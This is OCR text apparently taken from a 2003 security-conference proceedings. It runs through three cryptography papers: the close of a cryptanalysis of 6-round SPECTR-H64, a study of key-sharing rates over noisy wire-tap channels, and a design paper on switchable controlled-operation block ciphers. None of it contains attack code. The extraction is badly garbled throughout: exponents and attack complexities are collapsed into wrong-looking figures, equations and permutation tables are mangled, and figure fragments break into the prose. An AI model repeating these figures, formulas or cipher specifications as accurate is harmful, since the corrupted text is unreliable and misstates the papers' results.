@ Cp.ilall] & @ Golall]) = 0 (2)

Now, we can attack on 6 round SPECTR-H64 using this equation. In this

equation, we can compute the term @?iﬁl Cyp.ilall] from 23¢ left halves of ci-
phertexts. But we should know the subkey of G of the 5-th round in order to
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compute the value of @iﬁl G?lall], so we will guess K7 and Kg, the subkey of G
of the 5-th round in order to compute it. However, according to the key sched-
ule of SPECTR-H64, we can observe the fact that K7 and Kg are also used in
6-th round(As you see, Table [[)). Thus, we guess a 192-bit subkey of 6-th round
and get 1-round decryptions of 236 right halves of ciphertexts, Cg.;, up to the

position of G in the 5-th round. Then we can compute the value of @?: G?|all]
from guessing the 6-th round subkey K'(Ks, Kg, K3, K1, K7 and K3).

If the value of @?: G?[all] satisfies the equation (2) for each 192-bit K’,
then we accept K’ as a candidate of right 192-bit subkey, otherwise we discard
it. This method reduces the key-space to half. Thus, if we try again the above
procedure with another structure S(z), then the key-space is reduced to half,
too. We repeat this method until the key-space is sufficiently small for other
S(z)’s (i-e, we need about 28 structures of S(z), in order to reduce the key space
to 1).

Therefore, 236 x 28(~ 2%4) chosen plaintexts and (1.5 x 236)(2192 4 2191 4
-4 21) (=2 2229-6) steps enable us to find the right 6-th round subkey(The value
1.5 means that the decryption procedures up to the 5-th round and operations
of function G in the 5-th round).

6 Conclusion

This paper shows some cryptographic weaknesses of SPECTR-H64 which arise
from properties of C'P-box and function G. The linear equation which is derived
from the property of C P-box, always satisfies full 12 round SPECTR-~H64. But
this linear equation is not available for conventional linear cryptanalysis on block
cipher because the terms of G contain subkey bits. However we can construct
the characterstic which enables us to attack on 6 round SPECTR-H64, using the
linear equation and the fact that function G has a low algebraic degree which
is vulnerable to higher order differential attack. In order to attack on 6 round
SPECTR-H64, we need about 2** chosen plaintexts and 22276 steps which is
lower than the exhaustive search 2256,
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Abstract. We consider a scenario of key sharing between a pair of legal users
in the presence of passive eavesdropper. In this setting it is assumed the exis-
tence of a noisy channel between legal parties and also the existence of a noisy
wire-tap channel (which is not necessary inferior to the main channel). In addi-
tion to noisy channel there is a noiseless public channel connecting legal par-
ties. This means that eavesdropper can receive without errors all messages
transmitted through this noiseless channel. Because eavesdropper is passive (by
our assumption) this illegal party is unable to change any message transmitting
by legal parties both over noisy and noiseless channel. The final goal of legal
parties is to arrange such date exchange protocol using both noisy and noiseless

channels that provides them with bit strings K 4 and K 5 of the same length

[ possessing the following properties: the probability P, of their discrepancy
is close to zero; the amount of information I, about these strings leaking to
eavesdropper is close to zero. Legal parties have nothing secret date shared in
advance except the knowledge of protocol and channel parameters that are

known also for eavesdropper. The key-rate R « 18 the ratio of the string length

[ to the length of the string transmitted between legal users through noisy
channel. Key-capacity C ¢ 1s the maximum possible key-rate when P, and

I, approach both to zero. For some particular cases of noisy channels key-
capacity has been found by U. Maurer. But it was open problem how to reach
this capacity with limited computing power. The authors presented at previous
MMM-ACNS’2001 workshop the constructive methods of key sharing for the
same model. But for some channel parameters the key rates differed key-
capacity in the several orders! In the current paper we use another protocol of
key sharing and demonstrate how near to key-capacity can be provided the key-
rate depending on complexity of key-sharing protocol.

Keywords: Wire-tap channel, public discussion, key capacity, Renyi entropy,
privacy amplification.
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1 Introduction

Let us consider a particular case when the main channel between legal parties is bi-
nary symmetric channel without memory (BSC) with the error probability p, and
the wire-tap channel to eavesdropper is BSC too with the error probability p . Fol-

lowing to common tradition of cryptographic publications we will call two legal par-
ties by Alice and Bob, while eavesdropper by Eve.

One of legal parties (say Alice) transmits to another legal party (say Bob) some bit
string of the length k through the main BSCm whereas eavesdropper Eve receives
this string over the wire-tap channel BSCw. Thereafter both Alice and Bob exchange
messages with one to another through noiseless and public channel. Following to

some protocol agreed in advance Alice and Bob form the final bit strings K,

and K , , respectively, of the same length [ . If we denote by U the total Eve’s knowl-

edge including the information received by her on BSCw, noiseless channels of pub-
lic discussion between Alice and Bob, and the full knowledge of protocol and key

computing algorithm, Eve receives some Shannon information I(K ,, K ,;U) about
the final key. Then the key-rate R, of any key sharing protocol is [/k and key-
capacity C, can be defined as the maximum possible key-rate taken over all possible

protocols for every P, =P(K, # K;)>0, I, >0 and sufficiently large k,

given p, andp, .
It has been proved in [1] that
C, =h(p)=h(p,), (1
where p=p, +p,—2p,p,. h(p)=-plogp—(-p)logl—p) - the
entropy function.
It is worth to noting that C, >0 even in the case p, > p, , that is, when the

main channel is a inferior to the wire-tap channel. (So if we take p, =0.I and

p,,=0.01, the Ck by (1) is about 0.0249).
In a particular case when the main channel is a superior to the wire-tap channel
(p,,<D,) it is possible to proceed without a public discussion to achieve the key-

capacity
C; =h(p,)-h(p,). (2)
But if we proceed using public discussion in the case p, < p, we get larger key-
capacity than (2), namely given by (1). On the other hand in the case p,, > p,, public

discussion is necessary because (2) does not longer work (C ,: <0).
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There is a similarity between the problem to be near to ordinary Shannon channel
capacity using constructive error correction codes and the problem to be near key-
capacity using the best key-sharing protocol.

It is well known that contemporary error correcting codes (such for instance as
concatenated and turbo codes) allow to occur code rate very close to channel capacity
for acceptable complexity of encoding/decoding procedures [3]. But it is still open
problem regarding key-capacity. The authors of the current paper presented in [4]
protocol that allows to reach some key-rates. But it gives a good solution only if

P,, << Pp,,» whereas for opposite situation (for instance p, =0./ and p =0.01), we

obtained about 10° times less key-rate than key-capacity!
In order for improve these results we exploit two important facts, which have been
proved recently in [5]. The first fact is so called Enhaced Privacy Amplification

Theorem (EPAT). It says that if X is truly random binary string of the length k,
Z=XA where A is (0,1) truly random k X ([ + k) matrix, k >/ +r, Z=2zH,,
where H, is (0,1), (/ + r) X[ matrix containing exactly one 1 in each column and
at most one 1 in each row, y = ZH, , where H, is some (0,1), (/ + r) X r matrix,
then there exists such the matrix H1» that the expected Shannon information [ 0
about the string Z if some binary string x” is known and also the string Y , matrices
A, H, and H, are known, satisfies the inequality
10 . 9~ (k=t=l=r) ’
Bln2 (3)

where f_ is the Renyi (or collision) information that is contained in x” regarding the

string X, [3 is a coefficient that approaches to 0.42 for any fixed r ,ask,landk — [
increase.

The second fact relates to error correcting capability of linear binary (k +r,k)-
codes, when k information bits are transmitted over some BSC with the error prob-
ability p, and 7 check bits are transmitted over noiseless channel. For this channel
model it is easy to prove (using time sharing channel concept) that a decreasing to
zero the probability of errors P, after optimum decoding as k — oo can be pro-

vided if and only if the following asymptotic condition is true
r=kh(p,), “4)
where A(-) is the entropy function given in (1). But we are interested in non- as-

ymptotic case for the model with a noiseless transmission of check bits that just has
been proved in [5]

P, <27 &)

e

where E(R) = min [E,(p)— p(2R—-1)/R],
pe(0.1)
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Ey(p) = p = (14 p)log(pll*” +(1= p, )", R=—"—.
+r

In the next Section 2 we apply these results in order to show how can be achieved
the key-capacity in asymptotic case for the special key-sharing protocol and how can
we approach to this key-capacity in non-asymptotic case depending on the string

length k and channel parameters p, , p, . In Section 3 we discuss these results in

the framework of implementation complexity and present some open problems.

2 The Proof of the Lower Bound for the Key-Rate

Let us consider the following key-sharing algorithm (KSA):

1. Bob generates truly random binary string Y of the length k and sends it to Alice
through BSCm.

2. Alice generates truly random binary string X, computes y'(—B X, where y' is a
noisy version Yy received by Alice in the step 1 of KSA, @ — is modulo 2 addition

and sends it to Bob, through noiseless public channel.
3. Bob computers X' =y ®x @ y.

4. Alice sends to Bob the check string y to the string X
y =zH, =xAH, =xP, where P is the matrix of the reduced echelon form
representing of the generator matrix of some linear (k,k + r) code. This code

(properly the matrix P) can be chosen by legal parties to be good (with point of
view error correcting capability and the existence for it a constructive algorithm of
error correction).

5. Bob corrects errors in the noisy version X of the Alice's string X . Denote by X’
this string after correction of errors.

6. Both Alice and Bob compute the key strings K ,, K, applying a multiplication by
matrix HlA to the strings X and X, respectively.
Let us prove the following asymptotic statement

Theorem 1. The KSA presented above allows to achieve asymtotically (as k — o)
the key-capacity given by (1) if the legal channel is BSCm and the wire-tap channel is

BSCw forany 0< p <1/2,0<p, <1/2.

Proof. By definition of the key-capacity it is such maximum possible key-rate
R, =1/k that I, P, — 0 as k — co. We can see from KSA that after a per-
formance of its steps 1-3 there exists a virtual BSC between Alice and Bob with the
same error probability p, as in the original legal BSCm. Hence we can use (4) in

order to provide the condition P, — 0 as k — oo. Since Eve receives the sequence

Y sent by Bob to Alice in the step 1 of KSA through BSCw and ‘y,@ X sent by



312 V. Korzhik, V. Yakovlev, and A. Sinuk

Alice to Bob in the step 2 of KSA through noiseless public channel she has eventu-

ally a pair of strings 2’ =y ®e,,, 2" =y®e,, DX, where €,, and €,, are

the error patterns in the channel B—E and A—B, respectively. It is easy to show that
n 4 ” . . . . . .

X =2z @z is sufficient statistic for Eve with respect to X and hence after a per-

formance of 1-2 steps of KSA there exists a virtual BSC between Alice and Eve with

the error probability p = p, (1—p,)+ p, (1= p,) . Then we can find the Renyi
information in asymptotic case as follows [6]
t. =k(1-h(p)). (6)
We can see from (3) that /, — 0 as k — oo, if and only if the exponent in (3) is

negative, that results in the inequality

k=t —l—r>0. (7)
Substituting 7 by (4) and 7, by (6) into (7) we get
k—k(1—h(p))~1~kh(p,)>0. 8)

After simple transforms of (8) and a division by k we results in the inequality

%h(p)—h(pm),

that coincides with (1) and hence completes the proof of Theorem 1. ]
In order to get non-asymptotic results we have to substitute in (3) non-asymptotic

bounds for f, and 7. As for r we use (5) after a transform that is necessary to ex-

press ' as the function of k, p, and P,.Non-asymptotic probabilistic inequality

for the Renyi information has been obtained in [6]
ek (kY . , 9)
Pr(t, < (k—kh(p-3)+log 2k < Y | p'(1-p)*,
i=0 \ !
where 0 > 0.

We note that this probability can be refered as probability of the risk (Py) that the
inequality (3) is violated. Actually, in order to correctly estimate the exponent in (3)
we need to use so called smooth entropy, while the Renyi entropy is the lower bound
of smooth entropy only [7]. Moreover there is a family of the Renyi entropy of order
« of any random variable X with alphabet &

H,(X)=——log Y P (x)".

1- xeX
The ordinary Renyi entropy is a particular case of the Renyi entropy of the or-
derax =2 . Tt has been shown in [7] for some very pecular probability distribution

(10)

P, (x) that the Renyi entropy of order ¢/ <2 can be much better lower bound for

smooth entropy than H, (X ). But unfortunately, as it was communicated in [8] this
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is not the case for binomial distribution that we have in BSC. Thus we need to use (9)
substituting it into (7).

The results of the calculations for the achievable values of the key-rate R, as
functions of the string length k for different error probabilities in the legal channel

(p,) and in the illegal channel (., ), for the probability of risk P, <5-107 and
pm g pw p y R

I, < 107 are presented in Fig. 1. The key-capacities are shown there by dotted

lines.

3 Discussion of the Results and Some Open Problems

We presented the paper towards an achievability of the key-capacity in a scenario of
public discussion by showing a technique of real key-rate calculation depending on
the states of legal and illegal channel and the length of the string transmitted through
noisy channel.

To produce the final key-strings we gave KSA that constitutes of the following ge-
neric procedures:

random bit string generation;

hashing the bit string to shorter bit string;

check bit string generation corresponding to a “good” error correcting code;
error correcting based on chosen code.

The most complex operations from the list above are hashing and error correcting
procedures. With the preceding notation a complexity of hashing is equivalent to a
complexity of multiplication the row vector of the length k by the matrix kX (I+r). It
requires about k(I + r) operations. As for a complexity of error correcting proce-
dure it depends on the type of code and error correcting algorithm but roughly

speaking we can let Bkt* as an estimate of the number of elementary operations
where ¢ is the number of correcting errors and B is some factor that does not depend
on the parameters k and 7. We can see eventually that error correcting is the most time
(or space) consuming procedure in KSA. Fig. 1 shows (this is typically in general)
that for each channel state (p,, p,) there exists some string length k, that provides the
key-rate close enough to the key-capacity. These values k, are presented in Table 1.
This table shows that if the channel states are either p, = 0.01, p, =0.1 orp, =p, =
0.1 the string lengths are still acceptable with point of view KSA complexity. But for
the channel state p, = p,_ = 0.01 and first of all for the channel state p, = 0.1, p, = 0.01
when illegal channel is superior to legal one the KSA is intractable with point of view
its complexity. Then we need to pay off complexity to the key-rate. So if we select

k= 16000, then we obtain C, / R, = 307 and this is significant degradation of KSA

efficiency. This situation disagrees to the situation with error correcting procedure on
ordinary BSC when the block length of error correcting codes can be chosen no more
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than several thousands bits to achieve the code rate very close to channel capacity.

We believe that this is a generic property of key sharing scenarios.

Our contribution is that we put key sharing scenarios towards to practice but it
does not mean that there are no more open problems in this area.
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Fig. 1. The key-rate Rk versus the string length k for P R = 5-10%, [ 0 = 10™ and for the

error probability in the legal channel p " and in the illegal channel p

Table 1. The minimum string lengths ko that provide the key-rates close to key-capacities for

different channel states

Channel p, =0.01 p,=0.01 p,=0.1 p,=0.1
states p,=0.1 p,=0.01 p,=0.01 p,=0.1
k, 1.2.10" 4.5-10° 2.3-10° 3.5-10"

C /R, 1.22 1.19 1.29 1.27
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The main open problem is to design both constructive and effective error correc-
tion procedures for the specific channel model when check symbol are transmitted
over noiseless channel but information symbols are transmitted over BSC. One of
candidates to solve this problem is so called dichotomic search procedure when legal
users compare the parities of blocks and subblocks until they are able to find the error
bit and remove it. This algorithm is very simple but firstly it is not very effective and
secondly it does not satisfy the conditions of EPAT and therefore it requires further
investigations.
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Abstract. This paper introduces a new type of primitives called switchable con-
trolled operations (SCO). The SCO are proposed to be used in the design of the
fast ciphers suitable to cheap-hardware implementation. Use of the SCO pro-
motes to solve the problem of the weak keys and homogeneity of the encryption
transformation while the simple key scheduling is used. The SCO-based iterative
ciphers that are free of reversing the key scheduling are proposed to minimize
implementation cost. Different variants of SCO and SCO-based iterative cryp-
toschemes are considered.

Keywords. Fast Encryption, Data-Dependent Operations, Hardware-Oriented
Ciphers, Switchable Operations, Controlled Operations.

1 Introduction

Large scale application of the data encryption while solving different practical prob-
lems of the information security defines interest to designing fast block ciphers oriented
to to cheap hardware implementation. Many network applications of the encryption re-
quire development of the ciphers that conserve high performance in the case of frequent
change of keys. Such ciphers should use no time consuming key preprocessing, i.e. they
should use very simple key scheduling. An interesting approach to construction of such
cryptosystems is based on the use of the data-dependent (DD) operations (DDOs) as a
cryptographic primitive [6, 3].

Definition 1. Ler {F,F,,...,.Fon} be some set of the single-type operations defined by
formula Y = F; = Fi(X1,X,...,X,), where i = 1,2,...,2™ and X,X>,...,X, are input
n-dimensional binary vectors (operands) and Y is the output n-dimensional binary vec-
tor. Then the V-dependent operation F) defined by formula Y = Fv) (X1,X2,....X;) =
Fy(X1,X>,...,X;), where V is the m-dimensional controlling vector, we call the con-
trolled q-place operation. The operations ¥1,F,...,Fon are called modifications of the
controlled operation FV).

Practically important variants of the controlled operations correspond to controlled
permutations (CP) [6,4] and controlled operational substitutions (COSes) [2]. When
designing ciphers the controlled operations are preferable to be used as DDOs. For this
purpose dependence of the controlling vector on the transformed data is assigned. The
DD permutations (DDP) have been extensively used in the iterative ciphers CIKS-1 [6],

V. Gorodetsky et al. (Eds.): MMM-ACNS 2003, LNCS 2776, pp. 316-327, 2003.
(© Springer-Verlag Berlin Heidelberg 2003
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SPECTR-H64 [4], Cobra-F64a, Cobra-F64b, and SPECTR-128 [3] with very simple
key scheduling (SKS). The SKS is implemented as some direct use of parts of the secret
key as parts of the round keys. The use of SKS provides cheaper implementation but it
leads to the problem of the weak keys. In general case a key K is called weak, if we have
Tx(C) = P, where C = Tg(P) and T is encryption function. In CIKS-1 different algo-
rithms are assigned for encryption and decryption. This allows one to avoid the weak
keys, but significantly increases the hardware implementation cost. In SPECTR-H64
the same algorithm is used in the both data ciphering modes. Therefore the structure of
SPECTR-H64 is more suitable to cheap hardware implementation, however this cipher
is not free of weak keys, the round transformation is not an involution though. One of
important application of the block ciphers is the design of iterative hash functions. Use
of the ciphers with complex key scheduling leads to the performance decrease. Weak
keys can make hash functions insecure.

While designing iterative ciphers with SKS one should also take into account the
slide attacks [1] which use the homogeneity of the encryption procedure. In general
case preventing the weak keys of the mentioned type does not lead to preventing the
homogeneity. The homogeneity problem is especially important while using small se-
cret keys in the iterative ciphers with SKS and for many practical applications it is more
desirable to use small-size keys.

The present paper considers special kind of the controlled operations called switch-
able controlled operations in order to avoid weak keys and homogeneity in the block
iterative ciphers with SKS.

Definition 2. Ler {F1,F»,...,Fon} be the set of the modifications of the controlled oper-
ation F). The operation (F~! )<V) containing modifications Ffl,Fgl sy Fg,,} is called
inverse of FV), ifF‘j1 and Fy for all V are mutual inverses.

Definition 3. Let F'(), where e € {0,1}, be some e-dependent operation containing two
modifications F'©) = F} and F'") = ¥}, where Fy = F|"'. Then the operation F'®) is
called switchable.

Definition 4. Let two modifications of the switchable operation F'\¢) be mutual inverses
F’((‘?) ): FY) and ') = (F~1)). Then F'®) is called switchable controlled operation
FVe)

In section 2 we consider the design of the switchable permutational and substitu-
tional operations. In section 3 we propose some structures of the iterated DDO-based
block ciphers with SKS, in which the switchable operations are used. In section 4 we
consider implementation and security of the designed ciphers. Section 5 presents dis-
cussion and conclusion.

2 Construction of the Switchable Controlled Operations

2.1 Controlled Operations Based on Substitution-Permutation Networks

Controlled permutations (CPs) can be implemented using the well-known interconnec-
tion networks (INs) [7] with layered topology. The main building block of some IN is
the switching element denoted below as P».1-box controlled by one bit v. This element
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performs controlled swapping of two input bits x; and x;. The output bits are y; = x;
and y, = xq, if v=1, or y; = x; and y; = xp, if v = 0. Let IN with n-bit input and
n-bit output be controlled with m-bit vector V. Then we shall denote such IN as P,.;,,.
The general structure of the layered box P,,, is presented in Fig. 1, where fixed per-
mutations represent fixed connections and each active layer L represents n/2 parallel
elementary boxes Px.1, i. e. some single-layer CP box. In present paper dotted lines cor-
responding to CP boxes indicate the controlling bits. The box P,., can be represented
as a superposition of the operations performed on bit sets:

sz‘,/rr)l =L oTy oL(%2) 0T 0...0Ms_| oL<V‘Y)7

where m; are fixed permutations (k = 1,2,...,5s— 1), V; is the component of V, which
controls the jth active layer (j = 1,2,...,s; V = (V1,Va,...,V;); s = 2m/n), and s is the
number of active layers L(Y/). Design of the CP boxes with required properties consists
in selecting respective fixed permutations. One can easy construct the layered box P,j;,ln
which is inverse of P,,.,,-box:

(v

n;m) W = L") o 7'5;11 oLVs-1) o 7'5;12 ©...0 TCII oM.

In accordance with the structure of the CP boxes P,,.,, and P;;,ln we shall assume that in
CP boxes denoted as P,,.,, the switching elements P».; are consecutively numbered from
left to right and from top to bottom . In CP boxes denoted as P;;,ln the elementary boxes
P,.; are numbered from left to right and from bottom to top. Thus, for all i€ {1,2,...,m}
the ith bit of the controlling vector V controls the ith box P,.; in both boxes P,., and
P,;,L. For j=1,2,...,s the component V; of the vector V controls the j-th active layer in

the box Py, and the (s— j+1)-th layer in P}

n;m*

X bl Y o

#n v ¢ n VY
, L I{. J I L I<.
| ﬂl | ”v_—ll

S
- =

A

ﬂ_'
P=

x
i i< :

~ -
X

Fig. 1. General structure of the boxes Py.;;, (a,b) and Pn’;,}q (c)
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Recently a generalization of the CP boxes has been proposed [2] leading to the class
of COSes that include the CPs as a particular case. The COS boxes can be constructed in
the same way as the CP boxes, except the use of the elementary controlled substitution
boxes Sy.; (Fig. 2) instead of P,.;. The box S».; is described by two Boolean functions
in three variables: y; = fj(x1,x2,v) and y» = f2(x1,x2,v), where x; and x, are input bits,
y1 and y, are output bits, and v is the controlling bit. Some S;.;-boxes are involutions,
i.e.forv=0and v=1 we have

(x1,x2) = 5] (S5 (x1,x2))..

Table 1 presents some results of [2] giving examples of the pairs of the functions f)
and f, defining involutions Sj.;. Replacing the P».;-boxes in the given CP-box topol-
ogy by different controlled elements S,.; one can define different variants of the COS
boxes. Such COS boxes represent some controlled substitution-permutation networks.
Thus, the general structure of the COS boxes can be described by Fig. 1, where all
boxes P;.; are replaced by the elementary controlled substitutions Sy.;. If we use an
elementary controlled involution S;.; then such replacement in two mutually inverse
CP boxes P, and P;;,ln produces two mutually inverse COS boxes S;., and S;;,ln. In
spite of linearity of the substitutions performed by the elements Sy.; at fixed value of
the controlling bit the use of the COS boxes as DDOs defines the transformation with
high non-linearity [2]. Use of the CP and COS boxes as the key-dependent operation
is significantly less efficient, therefore we assume that switchable controlled operations
(SCOs) constructed on the bases of the considered networks should be used mainly as
switchable DDOs.

a) b) v X1 A X2
X1 X2

; l l vy v ; y vV

,,,,,,,,, M So | Yew | £ V! yio»
l l yi=x1(v @ 1) ® x,v
Yoy vy Yy y=xv @ xnv el

Fig. 2. Controlled element: a — notation, b — implementation, ¢ — switching element

Below we describe the switchable COS boxes S3<‘2/;>6 and Sé:(;’f;z representing practi-
cal interest in the design of the 64- and 128-bit ciphers, correspondingly. These switch-
able operational boxes are constructed on the bases of the COS boxes S32.96 and Sga.192
with symmetric structure. The boxes Ss;12 (Fig. 3a) and Sg. 112 (Fig. 3b) containing three
active layers are used as main building blocks while constructing the six-layer boxes
S32.96 (Fig. 3¢) and Sg4;192 (Fig. 3e).

The permutation T3 corresponding to connections between four (eight) parallel
boxes Ss;12 and four (eight) parallel boxes Sq. 112 in the box S32.96 (Se4:192) is described
as the following fixed permutational involution I (I5):
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Table 1. Some variants of the involutions S.;

# 1= file,x,v)| y2 = folx,x,v)
1| x;vbxpvédx X1 Dxy Dxpv

2 | x;vPxvdxp x| D xpv

3| x1Pxvdhx; X1V xp

41 xp@xvdv | (qel)vel)ex
5| xjvbxpvdx Xv@ x|y Dxp

I : (1)(2,9)(3,17)(4,25)(5 )(613)(721))(8 9)(10)(11,18)

(12,26)(14)(15,22)(16,30)(19)(20,27)(23)(24,31)(28)(32)?
L - (1)(10)(19)(28)(37)(46)(55) (64)(56,63) (47,54,48,62)
2 - (38,45,39,53,40,61)(29,36,30,44,31,52,32,60)
(20,27,21,35,22,43,23,51,24,59)(11,18,12,26,13,34,14,42,15,50,16,58)
(2,9,3,17,4,25,5,33,6,41,7,49,8,57).
The difference between the boxes S3».96 (Fig. 3¢) and 333{96 (Fig. 3d) and between

the boxes Ses:192 (Fig. 3e) and S6*4}192 (Fig. 3f) consists only in the use of the components
V1, Va,...,Ve of the controlling vector V. It is easy to see that swapping the components V;
and Vs, for j =1,2,...,s in arbitrary symmetric COS box defines switching between
two mutually inverse boxes S,., and Sn’;,il.

2.2 Switchable COS Boxes Sy, o4 and 8.1},

Due to symmetric structure of S32.96-box (and Ses;192-box) its modifications Sy, where
V = (V1,Va,...Vg), and Sy/, where V' = (Vg, Vs..., V) are mutually inverse. Such prop-

erty is a core one for the design of the switchable COS boxes SéX;f;z and Sg;é The
lasts can be constructed using very simple transposition box P9(21 implemented as some
single layer CP box consisting of three parallel single-layer boxes Pz(i)m; | (Fig. 4a).
Input of each Pz(i)m; -box is divided into 16-bit left and 16-bit right inputs. The box

Pé? 16,1 represents 16 parallel Pz(el) -boxes controlled with the same bit e. The right (left)

inputs (outputs) of 16 parallel boxes P(el) compose the right (left) 16-bit input (output)

of the box Pz(x) 16:1- Thus, each of three boxes Pz(x) 16;1 performs e-dependent swapping

of the respective pair of the 16-bit components of the controlling vector V.

For example, Pz((l)m 1(V1,Vs) = (V1,Vs) and PZ(IX)16;1(V1,V6) = (Vs,V1). If the in-
put vector of the box P(é)1 is (V1,Va,...Vg), then at the output of Pég? , we have V' =
(V1,Va,..,Ve) (if e =0) or V' = (V4,Vs,...,V}) (if e = 1). Structure of the switchable
COS box Sg;% is shown in Fig. 4b. In Section 3 we design SCO-based ciphers using

the boxes Sg;é and S;(z‘;/;é) the controlled elements of which are described by pair of
Boolean functions given in rows 1 and 5 of Table 2, correspondingly.

The switchable COS box SéX;fgz can be constructed with the use of transposition box

Pf?z; | that represents three parallel single-layer boxes P§i>32; | (Fig. 4¢). Each Pz(i)n; -
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Fig. 3. Structure of the boxes Sg:12 (a). S|, (b), S32:96 (). S35 (d). Sea;102 (€), and S 45 ()

box is a set of 32 parallel Péef -boxes all of which are controlled with the bit e. The

structure of the Sé:(;f;z—box is shown in Fig. 4d.

3 Ciphers Based on Switchable Data-Dependent Operations

A number of the hardware-oriented DDP-based ciphers with SKS are presented in [3].
The use of the respective COS boxes instead of the CP boxes in that ciphers leads
to the strengthening the round transformation and possibility to reduce the number of
rounds. However the problem of the weak keys, which is connected with the use of SKS,
remains unsolved. Below we present ciphers SCO-1, SCO-2, and SCO-3 as examples
of the use of the switchable COS boxes in order to avoid weak keys and thwart slide
attacks based on chosen structure of the key. If SKS is used, then the attacker can use
very simple keys and all encryption rounds will define the same substitution providing
homogeneity of the encryption procedure, i.e. prerequisites for some successful slide
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Fig. 4. Structure of the boxes Pl (a), Syyes (b), Py (©), and S5, (d)

attack [1]. The switchable operation in the ciphers SCO-1, SCO-2, and SCO-3 are used
in a way preventing possibility to define homogeneity of the encryption procedure by
choosing certain types of keys.

Figure 5 presents round encryption function of SCO-1. The 32-bit round subkeys

are denoted as K, G, and T,.. Two input data subblocks A and B are of the 32-bit length.

The operational boxes S(32> 967 S3(2 )96 nd P<2X>32 | have been specified in Section 2.2. The

extension box E forming the controlling vectors is described as follows

= (7,08, 11, 2,116, 115, 110, Lo, Is, I6, 13, 1a, 111, 112, 113, Lha),
V2 = (lo,lo, 11,112, 11, 12, 17,18, 13, s, s, e s B, 03, La ),
= (i3, ha, 115, 116,15, U6, 13,14, 11, 2, 17,18, 19 110, 11, 112)s
V4 = (h1,12,19,130, 25, 26, 123, 124, 31,132, 27, las, 117, 118, 119, o),
= (31,132,127, 8, 117,118,119, 120, 29, 130, o5, 1a6, 121, 122, 123, 124 ),
V6 = (119,120,123, 24,127,128, 129, 130, 121, 122, 117, 118, 132, 131, I2s g )
where bits /; corresponds to vector L = (11,1, ...,[32) that is input of the E-box and the
output vector is V = (V1,Va,..., V). The second-type extension box E’ used in SCO-1
is specified as follows: E/(L) = E(L>>>16), where L>>>¥ denotes rotation of the word
L by k bits: Vie {1,...,n—k} we have y; =x;1x and Vi€e {n—k+1,...,n} we have
Yi = Xit+k—n- The extension boxes has been constructed in accordance with the following
criteria:
1. Let X be the input n-bit vector of the box Sgez);%. Then for all L and i the bit x;
should be permuted depending on six different bits of L.
2. For all i the bit [; should define exactly three bits of V.

The generalized encryption procedure is described as follows.

1. Perform the initial transformation (IT): A :=A® Gy B := B® Ty, where A and B
are input 32-bit data subblocks.

2. For rounds r = 1 to 8 do {Using the round subkeys K, G,, and T, perform the
round transformation and then swap data subblocks}.

3. Swap data subblocks and perform the final transformation (FT): A := A & Gy,
B:=BdT.
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Fig. 5. Encryption round in SCO-1

Table 2. SCO-1: Specification of the switching bits and round subkeys

Round e=0/1 e=0 e=1
r K [G [T ||er|ex]es|eale [ e1]erfes]ea|e
IT -l oo - - - -1-1-1-1-1-1-
1 01| O | O3 1 0 1 00| O 0]1]1]0
2 04| Q01| O 0 1 1 1 1 1 1 1{110
3 03| Q4 | O1 0 0 0 01010 0O[|1]0]1
4 O | O3 | O4 1 0 1 1 00 0]0]1]0
5 0> | Q4| O3 1 1 1 0 1 0 11001
6 03| 01 | O4 1 0 0 010 1 0O|1]0]1
7 [l lo[ol1 o111 ]1]0[1]0
8 01| 03| O 1 1 0 0 1 0 0001
FT -0 - - -1-1-1-

The cipher SCO-1 uses the 128-bitkey O = (01,02, 03, Q4) represented as concate-
nation of four 32-bit subkeys. The key scheduling and specification of the switching bits
are presented in Table 2. The cipher SCO-1 is oriented to cheap hardware implementa-
tion, therefore the SKS was designed in a manner that no reversing the key scheduling
is required to change encryption mode for decryption one. Due to relations K, = Kg_,
G, =Ty_,, and T, = Gg_, only switching the SCO-box operations is required. Another
interesting peculiarity of this cryptoscheme is the high parallelism of the computations.

Indeed, the operations Sg;’;;6 and Sg(;fg)() are performed in parallel and then the operations

Sge;.;6 and S/3<26f‘9)6 are performed also in parallel.
The SCOs can be easily embedded in microcontrollers and general purpose CPUs
and used while designing fast firmware and software encryption systems. Figure 6

shows round functions of the firmware-suitable SCO-based ciphers SCO-2 (a) and
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Fig. 6. Firmware-suitable ciphers: a — SCO-2, b — SCO-3, ¢ — outline of encryption

Table 3. SCO-2 and SCO-3: Specification of the switching bits and round subkeys

Round e=0 e=1* e=1* e=0 e=1
r G | T.[|G 1T, |G [T, ||etr [ea | | el [ea | €
1 01 ||| Q|| |0 1|01 0|11
2 03 |04 || Q4|01 | Q1 |Qa]f O[O |O|T1T]O0]|O
3 O3 | Q|| Q|03 Q3| Q2| | 1|1 ]0]0]|O0
4 O4 |O1 || 0104|041 || O] 1|01 |0]|O
5 Oy || ||| L]o]j1 111
6 01 ||| 02| 04| Qa0 T |1 |10 1|1
7 O4 |03 || Q3|04 Q4|03 0 |1 ]10]0]0]|O0
8 O4s | Q|| Q2101 |01 |O2]] O[O0 T1T]O0]|O0
9 O3 |01 || 03|04 QafO3| 1T |O |1 |O]| 1|1
10 O4 |O1 || 010404 |0O1|| 1|1 |]1]0]0]|O0
11 O3 ||| Q|| 0| Q| 1O 1T 1T |11
12 01 |Oa|| Qs |O3| Q3 |Qsff O 1T ]|]O| 1T |O]|O
FT O 03| O1 | Q2] 01 | D2 - - - |-

SCO-3 (b) working with the 128-bit key O = (Q1,02,03,04). The generalized en-
cryption scheme of the both ciphers is represented in Fig. 6(c). The FT in SCO-2 is
performed as swapping subblocks and performing two XOR operations: A := A ® G13
and B := B® T13. In SCO-3 the FT is performed as follows: A :=A —,, G3 and B :=
B +,,Ti3, where “+,” (“—,”) denote addition (subtraction) modulo 2". Table 3 presents
the key scheduling and specification of the switching bits for SCO-2 and SCO-3. The
ciphers use identical key scheduling for encryption, however for decryption SCO-2 and
SCO-3 use different key scheduling. Key scheduling marked with token * (**) corre-
sponds to SCO-3 (SCO-2).
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4 Estimate of the Hardware Implementation and Security

While the FPGA implementation of the cipher SCO-1 oriented to hardware the con-
sumption of the logical cells is independent of type of the boxes S».; used as elementary

building blocks for constructing the boxes and S<362>;96. While the VLSI implementation
the critical path and required number of nand gates depend on the type of the elemen-
tary building blocks, however in all cases the implementation cost and the depth of the
critical path are comparatively small.

The elementary box ngi can be implemented with 7 nand gates. In this case the time

delay of S< i equals about 27, , where 7 is the time delay of the XOR operation. The
1mplementat10n with 16 nand gates pr0v1des the time delay ¢,,. Thus, the time delay cor-

()

responding to one active layer of the box S32;96 is approximately equal to 7, (expensive
(E) implementation) and 2z, (cheap (C) implementation). Time delay of the six-layer
